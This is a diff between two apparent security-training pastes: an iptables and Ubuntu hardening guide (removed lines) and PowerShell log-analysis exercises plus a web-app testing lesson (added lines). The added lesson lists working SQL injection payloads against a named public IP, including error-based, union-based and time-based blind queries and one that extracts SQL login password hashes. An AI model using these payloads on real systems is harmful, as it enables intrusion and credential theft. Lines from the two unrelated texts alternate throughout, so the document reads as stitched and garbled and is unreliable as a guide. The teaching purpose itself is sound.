-The following rules allow outgoing secure web traffic. This is helpful when you want to allow internet traffic for your users. On servers, these rules are also helpful when you want to use wget to download some files from outside.
+The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
 ------------------------Type This------------------------------
-iptables -A OUTPUT -o eth0 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT
+$seclog = Import-Clixml security.xml
-iptables -A INPUT -i eth0 -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
+
 $seclog | select -Last 5
 ---------------------------------------------------------------
 
 Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
-Load Balance Incoming Web Traffic
+------------------------Type This------------------------------
----------------------------------
+Get-EventLog Application -After (Get-Date).AddDays(-1)
-You can also load balance your incoming web traffic using iptables firewall rules.
+---------------------------------------------------------------
 You can use '-after' and '-before' to filter date ranges
-This uses the iptables nth extension. The following example load balances the HTTPS traffic to three different ip-address. For every 3th packet, it is load balanced to the appropriate server (using the counter 0).
+
 One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
-iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 0 -j DNAT --to-destination 192.168.1.101:443
+By default, an ordinary user does not have permission to read the security log.
-iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 1 -j DNAT --to-destination 192.168.1.102:443
+
-iptables -A PREROUTING -i eth0 -p tcp --dport 443 -m state --state NEW -m nth --counter 0 --every 3 --packet 2 -j DNAT --to-destination 192.168.1.103:443
+
 
 
 Step 3: Drill into a specific entry
-Allow Ping from Outside to Inside
+
----------------------------------
+To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
-The following rules allow outside users to be able to ping your servers.
+
 ------------------------Type This------------------------------
-iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
+$seclog | select -first 1 | fl *
-iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT
+---------------------------------------------------------------
 
 The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
 
-Allow Ping from Inside to Outside
+------------------------Type This------------------------------
----------------------------------
+($seclog | select -first 1).message
-The following rules allow you to ping from inside to any of the outside servers.
+
 (($seclog | select -first 1).message).gettype()
-iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
+---------------------------------------------------------------
-iptables -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT
+
 
 In the *nix world you often want a count of something (wc -l).
 How often is the SeSecurityPrivilege privilege mentioned in the message property?
-Allow Loopback Access
+To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
----------------------
+------------------------Type This------------------------------
-You should allow full loopback access on your servers. i.e access using 127.0.0.1
+$seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
 ---------------------------------------------------------------
-iptables -A INPUT -i lo -j ACCEPT
+If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
-iptables -A OUTPUT -o lo -j ACCEPT
+
 ------------------------Type This------------------------------
 $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
 ---------------------------------------------------------------
-Allow Internal Network to External network
+
-------------------------------------------
+Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
-On the firewall server where one ethernet card is connected to the external, and another ethernet card connected to the internal servers, use the following rules to allow internal network talk to external network.
+Use the count property to determine the total number of entries in the event log.
 ------------------------Type This------------------------------
-In this example, eth1 is connected to external network (internet), and eth0 is connected to internal network (For example: 192.168.1.x).
+$seclog.Count
 ---------------------------------------------------------------
-iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
+
 
 
 
-Allow outbound DNS
+
-------------------
+
-The following rules allow outgoing DNS connections.
+# Simple Log File Analysis #
 ############################
-iptables -A OUTPUT -p udp -o eth0 --dport 53 -j ACCEPT
+
-iptables -A INPUT -p udp -i eth0 --sport 53 -j ACCEPT
+
 You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
 
 ------------------------Type This------------------------------
-Allow Rsync From a Specific Network
+cd c:\ps
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
-The following rules allows rsync only from a specific network.
+(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
-iptables -A INPUT -i eth0 -p tcp -s 192.168.101.0/24 --dport 873 -m state --state NEW,ESTABLISHED -j ACCEPT
+---------------------------------------------------------------
-iptables -A OUTPUT -o eth0 -p tcp --sport 873 -m state --state ESTABLISHED -j ACCEPT
+
 
 
 The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
-Allow MySQL connection only from a specific network
+------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
-If you are running MySQL, typically you don’t want to allow direct connection from outside. In most cases, you might have web server running on the same server where the MySQL database runs.
+---------------------------------------------------------------
 
-However DBA and developers might need to login directly to the MySQL from their laptop and desktop using MySQL client. In those case, you might want to allow your internal network to talk to the MySQL directly as shown below.
+
 
-iptables -A INPUT -i eth0 -p tcp -s 192.168.100.0/24 --dport 3306 -m state --state NEW,ESTABLISHED -j ACCEPT
+To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
-iptables -A OUTPUT -o eth0 -p tcp --sport 3306 -m state --state ESTABLISHED -j ACCEPT
+------------------------Type This------------------------------
 Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
 ---------------------------------------------------------------
 
-Allow Sendmail or Postfix Traffic
+
----------------------------------
+To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
-The following rules allow mail traffic. It may be sendmail or postfix.
+------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
-iptables -A INPUT -i eth0 -p tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT
+---------------------------------------------------------------
-iptables -A OUTPUT -o eth0 -p tcp --sport 25 -m state --state ESTABLISHED -j ACCEPT
+
 
 Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
-Allow IMAP and IMAPS
+------------------------Type This------------------------------
---------------------
+Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
-The following rules allow IMAP/IMAP2 traffic.
+---------------------------------------------------------------
 
-iptables -A INPUT -i eth0 -p tcp --dport 143 -m state --state NEW,ESTABLISHED -j ACCEPT
+In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
-iptables -A OUTPUT -o eth0 -p tcp --sport 143 -m state --state ESTABLISHED -j ACCEPT
+This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
 ------------------------Type This------------------------------
 Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
-The following rules allow IMAPS traffic.
+---------------------------------------------------------------
 
-iptables -A INPUT -i eth0 -p tcp --dport 993 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A OUTPUT -o eth0 -p tcp --sport 993 -m state --state ESTABLISHED -j ACCEPT
+
 ##############################################
 # Parsing Log files using windows PowerShell #
 ##############################################
 
-Allow POP3 and POP3S
+Download the sample IIS log http://pastebin.com/LBn64cyA
---------------------
+
-The following rules allow POP3 access.
+------------------------Type This------------------------------
 (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
-iptables -A INPUT -i eth0 -p tcp --dport 110 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A OUTPUT -o eth0 -p tcp --sport 110 -m state --state ESTABLISHED -j ACCEPT
+Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
-The following rules allow POP3S access.
+---------------------------------------------------------------
 
-iptables -A INPUT -i eth0 -p tcp --dport 995 -m state --state NEW,ESTABLISHED -j ACCEPT
+
-iptables -A OUTPUT -o eth0 -p tcp --sport 995 -m state --state ESTABLISHED -j ACCEPT
+The above command would give us all the WebDAV requests.
 
 To filter this to a particular user name, use the below command:
 ------------------------Type This------------------------------
-Port Forwarding
+Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
----------------
+---------------------------------------------------------------
-The following example routes all traffic that comes to the port 442 to 22. This means that the incoming ssh connection can come from both port 22 and 422.
+
 
-iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 --dport 422 -j DNAT --to 192.168.102.37:22
+Some more options that will be more commonly required :
 
-If you do the above, you also need to explicitly allow incoming connection on the port 422.
+For Outlook Web Access : Replace WebDAV with OWA
 
-iptables -A INPUT -i eth0 -p tcp --dport 422 -m state --state NEW,ESTABLISHED -j ACCEPT
+For EAS : Replace WebDAV with Microsoft-server-activesync
-iptables -A OUTPUT -o eth0 -p tcp --sport 422 -m state --state ESTABLISHED -j ACCEPT
+
 For ECP : Replace WebDAV with ECP
 
-Log Dropped Packets
+
 
-You might also want to log all the dropped packets. These rules should be at the bottom.
+
 
-First, create a new chain called LOGGING.
+
 
-iptables -N LOGGING
+####################################################################
-Next, make sure all the remaining incoming connections jump to the LOGGING chain as shown below.
+# Windows PowerShell: Extracting Strings Using Regular Expressions #
 ####################################################################
-iptables -A INPUT -j LOGGING
+
-Next, log these packets by specifying a custom “log-prefix”.
+
 Regex Characters you might run into:
-iptables -A LOGGING -m limit --limit 2/min -j LOG --log-prefix "IPTables Packet Dropped: " --log-level 7
+
-Finally, drop these packets.
+^   Start of string, or start of line in a multiline pattern
 $   End  of string, or start of line in a multiline pattern
-iptables -A LOGGING -j DROP
+\b  Word boundary
 \d  Digit
 \   Escape the following character
 *   0 or more   {3} Exactly 3
 +   1 or more   {3,}    3 or more
-# Ubuntu Perfect Server #
+?   0 or 1      {3,5}   3, 4 or 5
 
 
 
-https://www.howtoforge.com/tutorial/ubuntu-perfect-server-with-apache-php-myqsl-pureftpd-bind-postfix-doveot-and-ispconfig/
+To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
 
 1) The input file that will be parsed
-deb http://de.archive.ubuntu.com/ubuntu/ yakkety main restricted
+------------------------Type This------------------------------
-deb http://de.archive.ubuntu.com/ubuntu/ yakkety-updates main restricted
+(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
-deb http://de.archive.ubuntu.com/ubuntu/ yakkety universe
+(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
-deb http://de.archive.ubuntu.com/ubuntu/ yakkety-updates universe
+(new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
-deb http://de.archive.ubuntu.com/ubuntu/ yakkety-updates multiverse
+---------------------------------------------------------------
 2) The regular expression that the input file will be compared against
 
-Then run
+3) The output file for where the extracted data will be placed.
-apt-get update
+
 Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
-to update the apt package database and
+Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
-apt-get upgrade
+
 To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
-to install the latest updates (if there are any). If you see that a new kernel gets installed as part of the updates, you should reboot the system afterwards:
+------------------------Type This------------------------------
-reboot
+$input_path = 'c:\ps\emails.txt'
 $output_file = 'c:\ps\extracted_addresses.txt'
-Change the Default Shell
+$regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
-/bin/sh is a symlink to /bin/dash, however we need /bin/bash, not /bin/dash. Therefore, we do this:
+select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
-dpkg-reconfigure dash
+---------------------------------------------------------------
 
-Use dash as the default system shell (/bin/sh)? <-- No
+
 In this script, we have the following variables:
-Disable AppArmor
+
-----------------
+1) $input_path to hold the path to the input file we want to parse
-AppArmor is a security extension (similar to SELinux) that should provide extended security. In my opinion, you don't need it to configure a secure system, and it usually causes more problems than advantages (think of it after you have done a week of trouble-shooting because some service wasn't working as expected, and then you find out that everything was ok, only AppArmor was causing the problem). Therefore, I disable it (this is a must if you want to install ISPConfig later on).
+
-We can disable it like this:
+2) $output_file to hold the path to the file we want the results to be stored in
 
-service apparmor stop
+3) $regex to hold the regular expression pattern to be used when the strings are being matched.
-update-rc.d -f apparmor remove
+
-apt-get remove apparmor apparmor-utils
+The select-string cmdlet contains various parameters as follows:
 
 1) "-Path" which takes as input the full path to the input file
-apt-get -y install ntp ntpdate
+
 2) "-Pattern" which takes as input the regular expression used in the matching process
-Install Postfix, Dovecot, MariaDB, rkhunter and binutils
+
---------------------------------------------------------
+3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
-For installing postfix, we need to ensure that sendmail is not installed and running. To stop and remove sendmail run this command:
+
 Using ">" the results are written to the destination specified in the $output_file variable.
-service sendmail stop; update-rc.d -f sendmail remove
+
 Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
 
 IP addresses
 ------------
-#######################
+For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
-# Hardening Ubuntu 16 #
+------------------------Type This------------------------------
-#######################
+$input_path = 'c:\ps\ip_addresses.txt'
 $output_file = 'c:\ps\extracted_ip_addresses.txt'
-This guide is intended as a relatively easy step by step guide to:
+$regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
 select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
-Harden the security on an Ubuntu 16.04 LTS server by installing and configuring the following:
+---------------------------------------------------------------
 
-Install and configure Firewall - ufw
+
-Secure shared memory - fstab
+
-SSH - Key based login, disable root login and change port
+URLs
-Apache SSL - Disable SSL v3 support
+----
-Protect su by limiting access only to admin group
+For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
-Harden network with sysctl settings
+You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
-Disable Open DNS Recursion and Remove Version Info  - Bind9 DNS
+------------------------Type This------------------------------
-Prevent IP Spoofing
+$input_path = 'c:\ps\URL_addresses.txt'
-Harden PHP for security
+$output_file = 'c:\ps\extracted_URL_addresses.txt'
-Restrict Apache Information Leakage
+$regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
-Install and configure Apache application firewall - ModSecurity
+select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
-Protect from DDOS (Denial of Service) attacks with ModEvasive
+---------------------------------------------------------------
-Scan logs and ban suspicious hosts - DenyHosts and Fail2Ban
+
-Intrusion Detection - PSAD
+In addition to the examples above, many other types of strings can be extracted using this script.
-Check for RootKits - RKHunter and CHKRootKit
+All you need to do is switch the regular expression in the "$regex" variable!
-Scan open Ports - Nmap
+In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
-Analyse system LOG files - LogWatch
+
-Apparmor -  Application Armor
+
-Audit your system security - Tiger and Tripwire
+##################################
-Requirements:
+# Basic: Web Application Testing #
 ##################################
-Ubuntu 16.04 LTS or later server with a standard LAMP stack installed.
+
-1. Firewall - UFW
+Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
-A good place to start is to install a Firewall.
+
-UFW - Uncomplicated Firewall is a basic firewall that works very well and easy to configure with its Firewall configuration tool - gufw, or use  Shorewall, fwbuilder, or Firestarter.
+I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
-Use Firestarter GUI to configure your firewall or refer to the Ubuntu Server Guide,  UFW manual pages or the Ubuntu UFW community documentation.
+
-Install UFW and enable, open a terminal window and enter :
+
-sudo apt-get install ufw
+The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
-Allow SSH and Http services.
+
-sudo ufw allow ssh
+    1. Does the website talk to a DB?
-sudo ufw allow http
+        - Look for parameter passing (ex: site.com/page.php?id=4)
-Enable the firewall.
+        - If yes - try SQL Injection
-sudo ufw enable
+
-Check the status of the firewall.
+    2. Can I or someone else see what I type?
-sudo ufw status verbose
+        - If yes - try XSS
-2. Secure shared memory.
+
     3. Does the page reference a file?
-Shared memory can be used in an attack against a running service. Modify /etc/fstab to make it more secure.
+        - If yes - try LFI/RFI
-Open a Terminal Window and enter the following :
+
-sudo vi /etc/fstab
+Let's start with some manual testing against 45.77.162.239
-Add the following line and save. You will need to reboot for this setting to take effect :
+
-Note : This only is works in Ubuntu 12.10 or later - For earlier Ubuntu versions replace /run/shm with /dev/shm
+
-Save and Reboot when done
+Start here:
-tmpfs     /run/shm     tmpfs     defaults,noexec,nosuid     0     0
+---------------------------Paste this into Firefox-----------------------------------
-3. SSH Hardening - key based login, disable root login and change port.
+http://45.77.162.239/
 -----------------------------------------------------------------------
-The best way to secure SSH is to use public/private key based login. See SSH/OpenSSH/Keys
+
-If you have to use password authentication, the easiest way to secure SSH is to disable root login and change the SSH port to something different than the standard port 22.
+Let's try throwing a single quote (') in there:
-Before disabling the root login create a new SSH user and make sure the user belongs to the admin group (see step 4. below regarding the admin group).
+---------------------------Paste this into Firefox-----------------------------------
-if you change the SSH port keep the port number below 1024 as these are priviledged ports that can only be opened by root or processes running as root.
+http://45.77.162.239/bookdetail.aspx?id=2'
-If you change the SSH port also open the new port you have chosen on the firewall and close port 22.
+-------------------------------------------------------------------------------------
-Open a Terminal Window and enter :
+
-sudo vi /etc/ssh/sshd_config
+I get the following error:
-Change or add the following and save.
+
-Port <ENTER YOUR PORT>
+Unclosed quotation mark after the character string ''.
-Protocol 2
+Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
-PermitRootLogin no
+
-DebianBanner no
+Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
-Restart SSH server, open a Terminal Window and enter :
+
-sudo service ssh restart
+
-4. Apache SSL Hardening - disable SSL v2/v3 support.
+
 
-The SSL v2/v3 protocol has been proven to be insecure.
+
-We will disable Apache support for the protocol and force the use of the newer protocols.
+
-Open a Terminal Window and enter :
+
-sudo vi /etc/apache2/mods-available/ssl.conf
+
-Change this line from :
+
-SSLProtocol all -SSLv3
+
-To the following and save.
+#########################################################################################
-SSLProtocol all -SSLv2 -SSLv3
+# SQL Injection                                                                         #
-Restart the Apache server, open a Terminal Window and enter :
+# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx            #
-sudo service apache2 restart
+#########################################################################################
-5. Protect su by limiting access only to admin group.
+
 
-To limit the use of su by admin users only we need to create an admin group, then add users and limit the use of su to the admin group.
+- Another quick way to test for SQLI is to remove the parameter value
-Add a admin group to the system and add your own admin username to the group by replacing <YOUR ADMIN USERNAME> below with your admin username.
+
-Open a terminal window and enter:
+
-sudo groupadd admin
+#############################
-sudo usermod -a -G admin <YOUR ADMIN USERNAME>
+# Error-Based SQL Injection #
-sudo dpkg-statoverride --update --add root admin 4750 /bin/su
+#############################
-6. Harden network with sysctl settings.
+---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
-The /etc/sysctl.conf file contain all the sysctl settings.
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
-Prevent source routing of incoming packets and log malformed IP's enter the following in a terminal window:
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
-sudo vi /etc/sysctl.conf
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
-Edit the /etc/sysctl.conf file and un-comment or add the following lines :
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-# IP Spoofing protection
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
-net.ipv4.conf.all.rp_filter = 1
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
-net.ipv4.conf.default.rp_filter = 1
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
-# Ignore ICMP broadcast requests
+---------------------------------------------------------------------------------------------------------
-net.ipv4.icmp_echo_ignore_broadcasts = 1
+
 
-# Disable source packet routing
+
-net.ipv4.conf.all.accept_source_route = 0
+
-net.ipv6.conf.all.accept_source_route = 0
+
-net.ipv4.conf.default.accept_source_route = 0
+#############################
-net.ipv6.conf.default.accept_source_route = 0
+# Union-Based SQL Injection #
 #############################
-# Ignore send redirects
+---------------------------Paste these one line at a time into Firefox-----------------------------------
-net.ipv4.conf.all.send_redirects = 0
+http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
-net.ipv4.conf.default.send_redirects = 0
+http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
-# Block SYN attacks
+http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
-net.ipv4.tcp_syncookies = 1
+http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
-net.ipv4.tcp_max_syn_backlog = 2048
+http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
-net.ipv4.tcp_synack_retries = 2
+http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
-net.ipv4.tcp_syn_retries = 5
+http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
-# Log Martians
+http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
-net.ipv4.conf.all.log_martians = 1
+---------------------------------------------------------------------------------------------------------
-net.ipv4.icmp_ignore_bogus_error_responses = 1
+
     We are using a union select statement because we are joining the developer's query with one of our own.
-# Ignore ICMP redirects
+    Reference:
-net.ipv4.conf.all.accept_redirects = 0
+    http://www.techonthenet.com/sql/union.php
-net.ipv6.conf.all.accept_redirects = 0
+    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
-net.ipv4.conf.default.accept_redirects = 0
+    It removes duplicate rows between the various SELECT statements.
-net.ipv6.conf.default.accept_redirects = 0
+
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
-# Ignore Directed pings
+---------------------------Paste these one line at a time into Firefox-----------------------------------
-net.ipv4.icmp_echo_ignore_all = 1
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
-To reload sysctl with the latest changes, enter:
+---------------------------------------------------------------------------------------------------------
-sudo sysctl -p
+    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
-7. Disable Open DNS Recursion and Remove Version Info  - BIND DNS Server.
+
 ---------------------------Paste these one line at a time into Firefox-----------------------------------
-Open a Terminal and enter the following :
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-sudo vi /etc/bind/named.conf.options
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
-Add the following to the Options section :
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
-recursion no;
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
-version "Not Disclosed";
+---------------------------------------------------------------------------------------------------------
-Restart BIND DNS server. Open a Terminal and enter the following :
+
-sudo service bind9 restart
+
-8. Prevent IP Spoofing.
+
 
-Open a Terminal and enter the following :
+- Another way is to see if you can get the backend to perform an arithmetic function
-sudo vi /etc/host.conf
+---------------------------Paste these one line at a time into Firefox-----------------------------------
-Add or edit the following lines :
+http://45.77.162.239/bookdetail.aspx?id=(2)
-order bind,hosts
+http://45.77.162.239/bookdetail.aspx?id=(4-2)
-nospoof on
+http://45.77.162.239/bookdetail.aspx?id=(4-1)
-9. Harden PHP for security.
+---------------------------------------------------------------------------------------------------------
 
-Edit the php.ini file :
+- This is some true/false logic testing
-sudo vi /etc/php5/apache2/php.ini
+---------------------------Paste this into Firefox-----------------------------------
-Add or edit the following lines an save :
+http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
-disable_functions = exec,system,shell_exec,passthru
+http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
-register_globals = Off
+http://45.77.162.239/bookdetail.aspx?id=1*1
-expose_php = Off
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
-display_errors = Off
+http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
-track_errors = Off
+http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
-html_errors = Off
+http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
-magic_quotes_gpc = Off
+http://45.77.162.239/bookdetail.aspx?id=2 &0#
-mail.add_x_header = Off
+-------------------------------------------------------------------------------------
-session.name = NEWSESSID
+
-Restart Apache server. Open a Terminal and enter the following :
+-- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
-sudo service apache2 restart
+---------------------------Paste this into Firefox-----------------------------------
-10. Restrict Apache Information Leakage.
+http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
-Edit the Apache2 configuration security file :
+http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
-sudo vi /etc/apache2/conf-available/security.conf
+http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
-Add or edit the following lines and save :
+---------------------------------------------------------------------------------------
-ServerTokens Prod
+
-ServerSignature Off
+
-TraceEnable Off
+
-Header unset ETag
+# Blind SQL Injection Testing #
-Header always unset X-Powered-By
+
-FileETag None
+Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
-Restart Apache server. Open a Terminal and enter the following :
+
-sudo service apache2 restart
+3 - Total Characters
-11. Web Application Firewall - ModSecurity.
+---------------------------Paste these one line at a time into Firefox-----------------------------------
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
-See : How to install apache2 mod_security and mod_evasive on Ubuntu 12.04 LTS server
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-12. Protect from DDOS (Denial of Service) attacks - ModEvasive
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
 ---------------------------------------------------------------------------------------------------------
-See : How to install apache2 mod_security and mod_evasive on Ubuntu 12.04 LTS server
+
-13. Scan logs and ban suspicious hosts - DenyHosts and Fail2Ban.
+Let's go for a quick check to see if it's DBO
 ---------------------------Paste this into Firefox-----------------------------------
-DenyHosts is a python program that automatically blocks SSH attacks by adding entries to /etc/hosts.deny. DenyHosts will also inform Linux administrators about offending hosts, attacked users and suspicious logins.
+http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
-Open a Terminal and enter the following :
+-------------------------------------------------------------------------------------
-sudo apt-get install denyhosts
+Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
-After installation edit the configuration file /etc/denyhosts.conf  and change the email, and other settings as required.
+
-To edit the admin email settings open a terminal window and enter:
+D  - 1st Character
-sudo vi /etc/denyhosts.conf
+---------------------------Paste these one line at a time into Firefox-----------------------------------
-Change the following values as required on your server :
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
-ADMIN_EMAIL = root@localhost
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-SMTP_HOST = localhost
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-SMTP_PORT = 25
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
-#SMTP_USERNAME=foo
+---------------------------------------------------------------------------------------------------------
-#SMTP_PASSWORD=bar
+
-SMTP_FROM = DenyHosts nobody@localhost
+B - 2nd Character
-#SYSLOG_REPORT=YES
